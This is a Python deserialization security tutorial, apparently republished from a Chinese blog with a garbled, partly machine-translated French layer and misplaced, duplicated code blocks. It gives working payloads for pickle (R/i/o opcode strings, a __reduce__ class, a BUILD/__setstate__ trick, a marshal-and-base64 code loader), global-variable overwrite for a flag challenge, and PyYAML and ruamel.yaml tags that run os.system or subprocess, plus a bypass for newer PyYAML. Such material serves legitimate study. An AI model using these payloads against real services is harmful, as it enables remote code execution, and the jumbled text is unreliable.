Vous faire comprendre la désérialisation Python

WBOY
Libérer: 2022-03-28 14:19:26
avant
2619 Les gens l'ont consulté

Cet article vous apporte des connaissances pertinentes sur python, qui présente principalement des problèmes liés à la désérialisation : pickle.loads() désérialise les chaînes en objets, pickle.load () lit les données d'un fichier et le désérialise. être utile à tout le monde.

Vous faire comprendre la désérialisation Python

Apprentissage recommandé : Tutoriel Python

Vulnérabilité de désérialisation Python

Pickle

  • Sérialisation : pickle.dumps() Sérialiser l'objet dans une chaîne, pickle.dump () Stocker la chaîne sérialisée de l'objet sous forme de fichier
  • pickle.dumps() 将对象序列化为字符串、pickle.dump() 将对象序列化后的字符串存储为文件
  • 反序列化:pickle.loads() 将字符串反序列化为对象、pickle.load() 从文件中读取数据反序列化

使用dumps()loads() 时可以使用 protocol 参数指定协议版本

协议有0,1,2,3,4,5号版本,不同的 python 版本默认的协议版本不同。这些版本中,0号是最可读的,之后的版本为了优化加入了不可打印字符

协议是向下兼容的,0号版本也可以直接使用

可序列化的对象

  • NoneTrueFalse
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可封存对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块最外层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块最外层的内置函数
  • 定义在模块最外层的类
  • __dict__ 属性值或 __getstate__() 函数的返回值可以被序列化的类(详见官方文档的Pickling Class Instances)

反序列化流程

pickle.load()和pickle.loads()方法的底层实现是基于 _Unpickler()方法来反序列化

在反序列化过程中,_Unpickler(以下称为机器吧)维护了两个东西:栈区和存储区

为了研究它,需要利用一个调试器 pickletools

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wUDq6S9E-1642832623478)(C:UsersAdministratorAppDataRoamingTyporatypora-user-imagesimage-20220121114238511.png)]

从图中可以看出,序列化后的字符串实际上是一串 PVM(Pickle Virtual Machine) 指令码,指令码以栈的形式存储、解析

PVM指令集

完整PVM指令集可以在 pickletools.py 中查看,不同协议版本使用的指令集略有不同

上图中的指令码可以翻译成:

    0: \x80 PROTO      3  # 协议版本
    2: ]    EMPTY_LIST  # 将空列表推入栈
    3: (    MARK  # 将标志推入栈
    4: X        BINUNICODE 'a'  # unicode字符
   10: X        BINUNICODE 'b'
   16: X        BINUNICODE 'c'
   22: e        APPENDS    (MARK at 3)  # 将3号标准之后的数据推入列表
   23: .    STOP  # 弹出栈中数据,结束
highest protocol among opcodes = 2
Copier après la connexion

指令集中有几个重要的指令码:

  • GLOBAL = b’c’ # 将两个以换行为结尾的字符串推入栈,第一个是模块名,第二个是类名,即可以调用全局变量 xxx.xxx 的值
  • REDUCE = b’R’ # 将可调用元组和参数元组生成的对象推进栈,即__reduce()返回的第一个值作为可执行函数,第二个值为参数,执行函数
  • BUILD = b’b’ # 通过__setstate__或更新__dict__完成构建对象,如果对象具有__setstate__方法,则调用anyobject .__setstate__(参数);如果无__setstate__方法,则通过anyobject.__dict__.update(argument)更新值(更新可能会产生变量覆盖)
  • STOP = b’.’ # 结束

一个更复杂的例子:

import pickleimport pickletoolsclass a_class():
    def __init__(self):
        self.age = 24
        self.status = 'student'
        self.list = ['a', 'b', 'c']a_class_new = a_class()a_class_pickle = pickle.dumps(a_class_new,protocol=3)print(a_class_pickle)# 优化一个已经被打包的字符串a_list_pickle = pickletools.optimize(a_class_pickle)print(a_class_pickle)# 反汇编一个已经被打包的字符串pickletools.dis(a_class_pickle)
Copier après la connexion
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ a_class'
   20: )    EMPTY_TUPLE  # 将空元组推入栈
   21: \x81 NEWOBJ  # 表示前面的栈的内容为一个类(__main__ a_class),之后为一个元组(20行推入的元组),调用cls.__new__(cls, *args)(即用元组中的参数创建一个实例,这里元组实际为空)
   22: }    EMPTY_DICT  # 将空字典推入栈
   23: (    MARK
   24: X        BINUNICODE 'age'
   32: K        BININT1    24
   34: X        BINUNICODE 'status'
   45: X        BINUNICODE 'student'
   57: X        BINUNICODE 'list'
   66: ]        EMPTY_LIST
   67: (        MARK
   68: X            BINUNICODE 'a'
   74: X            BINUNICODE 'b'
   80: X            BINUNICODE 'c'
   86: e            APPENDS    (MARK at 67)
   87: u        SETITEMS   (MARK at 23)  # 将将从23行开始传入的值以键值对添加到现有字典中
   88: b    BUILD  # 更新字典完成构建
   89: .    STOP
highest protocol among opcodes = 2
Copier après la connexion

常见的函数执行

与函数执行相关的 PVM 指令集有三个: Rio ,所以我们可以从三个方向进行构造:

R

b'''cos
system
(S'whoami'
tR.'''
Copier après la connexion

i

b'''(S'whoami'
ios
system
.'''
Copier après la connexion

o

b'''(cos
system
S'whoami'
o.'''
Copier après la connexion

__reduce()__命令执行

__recude()__ 魔法函数会在反序列化过程结束时自动调用,并返回一个元组。其中,第一个元素是一个可调用对象,在创建该对象的最初版本时调用,第二个元素是可调用对象的参数,使得反序列化时可能造成RCE漏洞

触发 __reduce()_ 的指令码为``R,**只要在序列化中的字符串中存在R指令**,reduce方法就会被执行,无论正常程序中是否写明了reduce`方法

pickle 在反序列化时会自动 import 未引入的模块,所以 python 标准库中的所有代码执行、命令执行函数都可使用,但生成 payloadDésérialisation : pickle.loads() Désérialiser la chaîne en un objet, pickle.load() code> Lisez les données du fichier et désérialisez-le<blockquote></blockquote>

Utilisez dumps() et loads () Vous pouvez utiliser le protocol pour spécifier la version du protocole. Le protocole a les versions 0, 1, 2, 3, 4 et 5. Différentes versions de Python ont différentes versions de protocole par défaut. Parmi ces versions, la version n° 0 est la plus lisible. Les versions ultérieures ont ajouté des caractères non imprimables pour l'optimisation. Le protocole est rétrocompatible. La version n° 0 peut également être utilisée directement.

Aucun, Vrai et Faux

Entiers, nombres à virgule flottante, nombres complexes li>🎜 str, byte, bytearray🎜Contient uniquement des collections d'objets pouvant être archivés, notamment tuple, list, set et dict🎜Fonctions définies au niveau le plus externe du module (définies à l'aide de def, fonction lambda Non ) 🎜Fonctions intégrées définies dans la couche la plus externe du module🎜Classes définies dans la couche la plus externe du module🎜__dict__ valeur d'attribut ou __getstate__ () Une classe dont la valeur de retour de fonction peut être sérialisée (voir Instances de classe Pickling dans la documentation officielle pour plus de détails)

Processus de désérialisation🎜L'implémentation sous-jacente des méthodes pickle.load() et pickle.loads() est basée sur la méthode _Unpickler() pour la désérialisation🎜🎜Dans le processus de désérialisation, _Unpickler (ci-après dénommé Machine Bar) maintient deux choses : la zone de pile et la zone de stockage🎜🎜Pour l'étudier, vous devez utiliser un débogueur pickletools🎜🎜[Le transfert d'image du lien externe a échoué, le site source peut avoir un mécanisme anti-sangsue, il est recommandé de sauvegarder l'image et de la télécharger directement (img-wUDq6S9E-1642832623478) (C:UsersAdministratorAppDataRoamingTyporatypora-user-imagesimage-20220121114238511.png)]🎜🎜Comme vous pouvez le voir sur la photo, le La chaîne sérialisée est en fait une chaîne de code d'instruction PVM (Pickle Virtual Machine), le code d'instruction est stocké et analysé sous la forme d'une pile🎜

Jeu d'instructions PVM

🎜Le jeu d'instructions PVM complet Le jeu d'instructions PVM peut être trouvé sur pickletools.py code>, les jeux d'instructions utilisés par les différentes versions de protocole sont légèrement différents🎜🎜Le code d'instruction dans l'image ci-dessus peut être traduit par :🎜<div class="code" style="position:relative; padding:0px; margin:0px;"><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class="brush:php;toolbar:false">class a_class():     def __reduce__(self):         return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')</pre><div class="contentsignin">Copier après la connexion</div></div><div class="contentsignin">Copier après la connexion</div></div>🎜Il y a plusieurs codes d'instruction dans le jeu d'instructions :🎜🎜🎜GLOBAL = b'c' # Poussez deux chaînes se terminant par une nouvelle ligne sur la pile. La première est le nom du module et la seconde est le nom de la classe. la variable <code>xxx.xxx peut être appelée🎜 REDUCE = b'R' # Poussez l'objet généré par le tuple appelable et le tuple paramètre sur la pile, c'est-à-dire la première valeur renvoyée par __reduce() est utilisé comme fonction exécutable et la deuxième valeur est utilisée comme paramètre, exécuter la fonction🎜BUILD = b'b' # Terminez la construction de l'objet via <. code>__setstate__ ou mettez à jour __dict__, si l'objet a la méthode __setstate__, puis appelez anyobject .__setstate__(argument) si ; il n'y a pas de méthode __setstate__, utilisez anyobject.__dict__.update(argument) pour mettre à jour la valeur (Les mises à jour peuvent produire des remplacements de variables)🎜STOP = b'.' # End🎜Un exemple plus complexe : 🎜
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
    0: \x80 PROTO      3
    2: c    GLOBAL     'nt system'
   13: X    BINUNICODE 'whoami'
   24: \x85 TUPLE1
   25: R    REDUCE
   26: .    STOP
highest protocol among opcodes = 2
Copier après la connexion
Copier après la connexion
# secret.pya = aaaaaa
Copier après la connexion
Copier après la connexion

Exécution de fonctions communes

🎜Il existe trois jeux d'instructions PVM liés à l'exécution de la fonction : R, i, o, Nous pouvons donc construire à partir de trois directions : 🎜🎜R : 🎜
# unser.pyimport secretimport pickleclass flag():
    def __init__(self, a):
        self.a = a

your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:
    print('flag:{}'.format(secret_flag.a))else:
    print('No!')
Copier après la connexion
Copier après la connexion
🎜i : 🎜
class flag():
    def __init__(self, a):
        self.a = a
new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
Copier après la connexion
Copier après la connexion
🎜o : 🎜
b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.'
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ Flag'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: X    BINUNICODE 'a'
   32: q    BINPUT     3
   34: X    BINUNICODE 'A'
   40: q    BINPUT     4
   42: s    SETITEM
   43: b    BUILD
   44: .    STOP
highest protocol among opcodes = 2
Copier après la connexion
Copier après la connexion

__reduce()__ exécution de la commande

🎜__recude()__ La fonction magique sera automatiquement appelée à la fin du processus de désérialisation et renvoie un tuple. Parmi eux, le premier élément est un objet appelable, qui est appelé lors de la création de la version initiale de l'objet. Le deuxième élément est le paramètre de l'objet appelable, ce qui peut provoquer une vulnérabilité RCE lors de la désérialisation🎜
🎜trigger__reduce()_ est ``R<code>, **Tant que l'instruction R existe dans la chaîne en cours de sérialisation**, reduce sera exécutée que la méthode reduce` soit spécifiée ou non dans le programme normal 🎜🎜pickle seraautomatique pendant. désérialisation Importez des modules qui n'ont pas été introduits, afin que toutes les fonctions d'exécution de code et d'exécution de commandes de la bibliothèque standard Python puissent être utilisées, mais la version Python qui génère payload est la mieux cohérente avec la cible 🎜🎜🎜Exemple : 🎜
class a_class():
    def __reduce__(self):
        return os.system, ('whoami',)# __reduce__()魔法方法的返回值:# os.system, ('whoami',)# 1.满足返回一个元组,元组中至少有两个参数# 2.第一个参数是被调用函数 : os.system()# 3.第二个参数是一个元组:('whoami',),元组中被调用的参数 'whoami' 为被调用函数的参数# 4. 因此序列化时被解析执行的代码是 os.system('whoami')
Copier après la connexion
Copier après la connexion
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
    0: \x80 PROTO      3
    2: c    GLOBAL     'nt system'
   13: X    BINUNICODE 'whoami'
   24: \x85 TUPLE1
   25: R    REDUCE
   26: .    STOP
highest protocol among opcodes = 2
Copier après la connexion
Copier après la connexion

将该字符串反序列化后将会执行命令 os.system('whoami')

全局变量覆盖

__reduce()_利用的是 R 指令码,造成REC,而利用 GLOBAL = b’c’ 指令码则可以触发全局变量覆盖

# secret.pya = aaaaaa
Copier après la connexion
Copier après la connexion
# unser.pyimport secretimport pickleclass flag():
    def __init__(self, a):
        self.a = a

your_payload = b'?'other_flag = pickle.loads(your_payload)secret_flag = flag(secret)if other_flag.a == secret_flag.a:
    print('flag:{}'.format(secret_flag.a))else:
    print('No!')
Copier après la connexion
Copier après la connexion

在不知道 secret.a 的情况下要如何获得 flag 呢?

先尝试获得 flag() 的序列化字符串:

class flag():
    def __init__(self, a):
        self.a = a
new_flag = pickle.dumps(Flag("A"), protocol=3)flag = pickletools.optimize(new_flag)print(flag)print(pickletools.dis(new_flag))
Copier après la connexion
Copier après la connexion
b'\x80\x03c__main__\nFlag\n)\x81}X\x01\x00\x00\x00aX\x01\x00\x00\x00Asb.'
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ Flag'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: X    BINUNICODE 'a'
   32: q    BINPUT     3
   34: X    BINUNICODE 'A'
   40: q    BINPUT     4
   42: s    SETITEM
   43: b    BUILD
   44: .    STOP
highest protocol among opcodes = 2
Copier après la connexion
Copier après la connexion

可以看到,在34行进行了传参,将变量 A 传入赋值给了a。若将 A 修改为全局变量 secret.a,即将 X BINUNICODE 'A' 改为 c GLOBAL 'secret a'(X\x01\x00\x00\x00A 改为 csecret\na\n)。将该字符串反序列化后,self.a 的值等于 secret.a 的值,成功获取 flag

除了改写 PVM 指令的方式外,还可以使用 exec 函数造成变量覆盖:

test1 = 'test1'test2 = 'test2'class A:
   def __reduce(self):
       retutn exec, "test1='asd'\ntest2='qwe'"
Copier après la connexion

利用BUILD指令RCE(不使用R指令)

通过BUILD指令与GLOBAL指令的结合,可以把现有类改写为os.system或其他函数

假设某个类原先没有__setstate__方法,我们可以利用{'__setstate__': os.system}来BUILE这个对象

BUILD指令执行时,因为没有__setstate__方法,所以就执行update,这个对象的__setstate__方法就改为了我们指定的os.system

接下来利用'whoami'来再次BUILD这个对象,则会执行setstate('whoami'),而此时__setstate__已经被我们设置为os.system,因此实现了RCE

例:

代码中存在一个任意类:

class payload:
    def __init__(self):
        pass
Copier après la connexion

根据这个类构造 PVM 指令:

    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ payload'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: }    EMPTY_DICT  # 使用BUILD,先放入一个字典
   22: (    MARK  # 放值前先放一个标志
   23: V        UNICODE    '__setstate__'  # 放键值对
   37: c        GLOBAL     'nt system'
   48: u        SETITEMS   (MARK at 22)
   49: b    BUILD  # 第一次BUILD
   50: V    UNICODE    'whoami'  # 加参数
   58: b    BUILD  # 第二次BUILD
   59: .    STOP
Copier après la connexion

将上述 PVM 指令改写成 bytes 形式:b'\x80\x03c__main__\npayload\n)\x81}(V__setstate__\ncnt\nsystem\nubVwhoami\nb.',使用 piclke.loads() 反序列化后成功执行命令

利用Marshal模块造成任意函数执行

pickle 不能将代码对象序列化,但 python 提供了一个可以序列化代码对象的模块 Marshal

但是序列化的代码对象不再能使用 __reduce()_ 调用,因为__reduce__是利用调用某个可调用对象并传递参数来执行的,而我们这个函数本身就是一个可调用对象 ,我们需要执行它,而不是将他作为某个函数的参数。隐藏需要利用 typres 模块来动态的创建匿名函数

import marshalimport typesdef code():
    import os    print('hello')
    os.system('whoami')code_pickle = base64.b64encode(marshal.dumps(code.__code__))  # python2为 code.func_codetypes.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()  # 利用types动态创建匿名函数并执行
Copier après la connexion

pickle 上使用:

import pickle# 将types.FunctionType(marshal.loads(base64.b64decode(code_pickle)), globals(), '')()改写为 PVM 的形式s = b"""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'4wAAAAAAAAAAAAAAAAEAAAADAAAAQwAAAHMeAAAAZAFkAGwAfQB0AWQCgwEBAHwAoAJkA6EBAQBkAFMAKQRO6QAAAADaBWhlbGxv2gZ3aG9hbWkpA9oCb3PaBXByaW502gZzeXN0ZW0pAXIEAAAAqQByBwAAAPogRDovUHl0aG9uL1Byb2plY3QvdW5zZXJpYWxpemUucHnaBGNvZGUlAAAAcwYAAAAAAQgBCAE='
tRtRc__builtin__
globals
(tRS''
tR(tR."""pickle.loads(s)  # 字符串转换为 bytes
Copier après la connexion

漏洞出现位置

  • 解析认证 token、session 时
  • 将对象 pickle 后存储在磁盘文件
  • 将对象 pickle 后在网络中传输
  • 参数传递给程序

PyYAML

yaml 是一种标记类语言,类似与 xmljson,各个支持yaml格式的语言都会有自己的实现来进行 yaml 格式的解析(读取和保存),PyYAML 就是 yaml 的 python 实现

在使用 PyYAML 库时,若使用了 yaml.load() 而不是 yaml.safe_load() 函数解析 yaml文件,则会导致反序列化漏洞的产生

原理

PyYAML 有针对 python 语言特有的标签解析的处理函数对应列表,其中有三个和对象相关:

!!python/object:          =>  Constructor.construct_python_object!!python/object/apply:    =>  Constructor.construct_python_object_apply!!python/object/new:      =>  Constructor.construct_python_object_new
Copier après la connexion

例如:

# Test.pyimport yamlimport osclass test:
    def __init__(self):
        os.system('whoami')payload = yaml.dump(test())fp = open('sample.yml', 'w')fp.write(payload)fp.close()
Copier après la connexion

该代码执行后,会生成 sample.yml ,并写入 !!python/object:__main__.test {}

将文件内容改为 !!python/object:Test.test {} 再使用 yaml.load() 解析该 yaml 文件:

import yaml
yaml.load(file('sample.yml', 'w'))
Copier après la connexion

Vous faire comprendre la désérialisation Python

命令成功执行。但是命令的执行依赖于 Test.py 的存在,因为 yaml.load() 时会根据yml文件中的指引去读取 Test.py 中的 test 这个对象(类)。如果删除 Test.py ,也将运行失败

Payload

PyYAML

想要消除依赖执行命令,就需要将其中的类或者函数换成 python 标准库中的类或函数,并使用另外两种 python 标签:

# 该标签可以在 PyYAML 解析再入 YAML 数据时,动态的创建 Python 对象!!python/object/apply:    =>  Constructor.construct_python_object_apply# 该标签会调用 apply!!python/object/new:      =>  Constructor.construct_python_object_new
Copier après la connexion

利用这两个标签,就可以构造任意 payload:

!!python/object/apply:subprocess.check_output [[calc.exe]]!!python/object/apply:subprocess.check_output ["calc.exe"]!!python/object/apply:subprocess.check_output [["calc.exe"]]!!python/object/apply:os.system ["calc.exe"]!!python/object/new:subprocess.check_output [["calc.exe"]]!!python/object/new:os.system ["calc.exe"]
Copier après la connexion

PyYAML >= 5.1

在版本 PyYAML >= 5.1 后,限制了反序列化内置类方法以及导入并使用不存在的反序列化代码,并且在使用 load() 方法时,需要加上 loader 参数,直接使用时会爆出安全警告

loader的四种类型:

  • BaseLoader:仅加载最基本的YAML
  • SafeLoader:安全地加载YAML语言的子集,建议用于加载不受信任的输入(safe_load)
  • FullLoader:加载完整的YAML语言,避免任意代码执行,这是当前(PyYAML 5.1)默认加载器调用yaml.load(input) (出警告后)(full_load)
  • UnsafeLoader(也称为Loader向后兼容性):原始的Loader代码,可以通过不受信任的数据输入轻松利用(unsafe_load)

在高版本中之前的 payload 已经失效,但可以使用 subporcess.getoutput() 方法绕过检测:

!!python/object/apply:subprocess.getoutput
- whoami
Copier après la connexion

Vous faire comprendre la désérialisation Python

在最新版本上,命令执行成功

ruamel.yaml

ruamel.yaml的用法和PyYAML基本一样,并且默认支持更新的YAML1.2版本

在ruamel.yaml中反序列化带参数的序列化类方法,有以下方法:

  • load(data)
  • load(data, Loader=Loader)
  • load(data, Loader=UnsafeLoader)
  • load(data, Loader=FullLoader)
  • load_all(data)
  • load_all(data, Loader=Loader)
  • load_all(data, Loader=UnSafeLoader)
  • load_all(data, Loader=FullLoader)

我们可以使用上述任何方法,甚至我们也可以通过提供数据来反序列化来直接调用load(),它将完美地反序列化它,并且我们的类方法将被执行

推荐学习:python学习教程

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Étiquettes associées:
source:csdn.net
Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn
Tutoriels populaires
Plus>
Derniers téléchargements
Plus>
effets Web
Code source du site Web
Matériel du site Web
Modèle frontal
À propos de nous Clause de non-responsabilité Sitemap
Site Web PHP chinois:Formation PHP en ligne sur le bien-être public,Aidez les apprenants PHP à grandir rapidement!